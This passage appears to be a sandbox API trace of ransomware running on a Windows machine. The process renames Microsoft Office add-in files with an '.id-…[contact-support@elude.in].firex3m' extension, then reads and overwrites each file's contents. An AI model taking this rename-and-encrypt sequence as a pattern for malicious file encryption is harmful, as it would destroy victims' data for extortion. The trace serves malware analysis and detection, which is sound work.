lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ca4d6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x49de, dwReserved0=0xa647496, dwReserved1=0x72b1660, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d5280 [0165.114] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.114] Sleep (dwMilliseconds=0x1) [0165.893] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", len=0x62 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl") returned 1 [0165.893] GetProcessHeap () returned 0x630000 [0165.893] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bbc) returned 0x707d3d0 [0165.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0165.894] CloseHandle (hObject=0x6a4) returned 1 [0165.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0165.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x700070, dwReserved1=0x72006f, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d4ec0 [0165.895] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0165.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0165.895] GetProcessHeap () returned 0x630000 [0165.895] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x738d9b8 [0165.896] GetProcessHeap () returned 0x630000 [0165.896] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x71049c0 [0165.898] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.898] ReadFile (in: hFile=0x6a4, lpBuffer=0x738d9b8, nNumberOfBytesToRead=0x43e0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d9b8*, lpNumberOfBytesRead=0x54bff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0167.540] GetProcessHeap () returned 0x630000 [0167.540] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0167.540] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.540] WriteFile (in: hFile=0x6a4, lpBuffer=0x71049c0*, nNumberOfBytesToWrite=0x43e0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71049c0*, lpNumberOfBytesWritten=0x54bff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0167.541] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.541] WriteFile (in: hFile=0x6a4, lpBuffer=0x7108d9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7108d9f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0167.541] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.541] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0167.541] CloseHandle (hObject=0x6a4) returned 1 [0167.541] GetProcessHeap () returned 0x630000 [0167.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71049c0 | out: hHeap=0x630000) returned 1 [0167.542] GetProcessHeap () returned 0x630000 [0167.542] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x738d9b8 | out: hHeap=0x630000) returned 1 [0167.542] GetProcessHeap () returned 0x630000 [0167.542] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0167.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29ce7b6d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4408, dwReserved0=0xa647496, dwReserved1=0x738d9b0, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d5340 [0167.543] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0167.543] Sleep (dwMilliseconds=0x1) [0169.106] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap", len=0x65 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap") returned 1 [0169.106] GetProcessHeap () returned 0x630000 [0169.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b64) returned 0x707d3d0 [0169.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\powerviewres.kk.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0169.107] CloseHandle (hObject=0x4f0) returned 1 [0169.107] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0169.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\powerviewres.kk.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\powerviewres.kk.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0169.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0169.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x515e9, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.kk.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0169.108] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0169.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\powerviewres.kk.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0169.109] GetProcessHeap () returned 0x630000 [0169.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f547f0 [0169.111] GetProcessHeap () returned 0x630000 [0169.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5fc20 [0169.112] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.112] ReadFile (in: hFile=0x4f0, lpBuffer=0x6f547f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f547f0*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.365] GetProcessHeap () returned 0x630000 [0178.365] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0178.365] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.366] WriteFile (in: hFile=0x4f0, lpBuffer=0x6f5fc20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5fc20*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.366] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.366] WriteFile (in: hFile=0x4f0, lpBuffer=0x6f6b01f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b01f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.368] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.368] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.368] CloseHandle (hObject=0x4f0) returned 1 [0178.369] GetProcessHeap () returned 0x630000 [0178.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5fc20 | out: hHeap=0x630000) returned 1 [0178.369] GetProcessHeap () returned 0x630000 [0178.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f547f0 | out: hHeap=0x630000) returned 1 [0178.370] GetProcessHeap () returned 0x630000 [0178.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0178.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3044a149, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5160d, dwReserved0=0xa647496, dwReserved1=0x6f547e8, cFileName="PowerViewRes.kk.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0178.370] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0178.370] Sleep (dwMilliseconds=0x1) [0178.383] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 1 [0178.383] GetProcessHeap () returned 0x630000 [0178.383] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac4) returned 0x707d3d0 [0178.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0178.385] CloseHandle (hObject=0x4f0) returned 1 [0178.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0178.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0178.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110b, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f80 [0178.386] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0178.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0178.386] GetProcessHeap () returned 0x630000 [0178.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x714508 [0178.386] GetProcessHeap () returned 0x630000 [0178.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x67be28 [0178.387] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.387] ReadFile (in: hFile=0x4f0, lpBuffer=0x714508, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x54bff0c*=0x1100, lpOverlapped=0x0) returned 1 [0180.339] GetProcessHeap () returned 0x630000 [0180.339] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0180.339] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.339] WriteFile (in: hFile=0x4f0, lpBuffer=0x67be28*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be28*, lpNumberOfBytesWritten=0x54bff0c*=0x1100, lpOverlapped=0x0) returned 1 [0180.339] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.339] WriteFile (in: hFile=0x4f0, lpBuffer=0x67cf27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cf27*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.339] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.339] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.339] CloseHandle (hObject=0x4f0) returned 1 [0180.340] GetProcessHeap () returned 0x630000 [0180.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be28 | out: hHeap=0x630000) returned 1 [0180.340] GetProcessHeap () returned 0x630000 [0180.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0180.340] GetProcessHeap () returned 0x630000 [0180.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0180.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3171076e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112f, dwReserved0=0xa647496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0180.340] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0180.340] Sleep (dwMilliseconds=0x1) [0182.384] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", len=0x46 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx") returned 1 [0182.384] GetProcessHeap () returned 0x630000 [0182.384] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a74) returned 0x707d3d0 [0182.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0182.384] CloseHandle (hObject=0x69c) returned 1 [0182.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9420, dwReserved0=0x0, dwReserved1=0x0, cFileName="TelemetryLog.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELEME~1.FIR")) returned 0x6d5480 [0182.386] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0182.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0182.386] GetProcessHeap () returned 0x630000 [0182.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9441) returned 0x71417f8 [0182.387] GetProcessHeap () returned 0x630000 [0182.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9441) returned 0x72a6370 [0182.387] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.387] ReadFile (in: hFile=0x69c, lpBuffer=0x71417f8, nNumberOfBytesToRead=0x9420, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71417f8*, lpNumberOfBytesRead=0x54bff0c*=0x9420, lpOverlapped=0x0) returned 1 [0188.537] GetProcessHeap () returned 0x630000 [0188.537] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0188.538] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x69c, lpBuffer=0x72a6370*, nNumberOfBytesToWrite=0x9420, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a6370*, lpNumberOfBytesWritten=0x54bff0c*=0x9420, lpOverlapped=0x0) returned 1 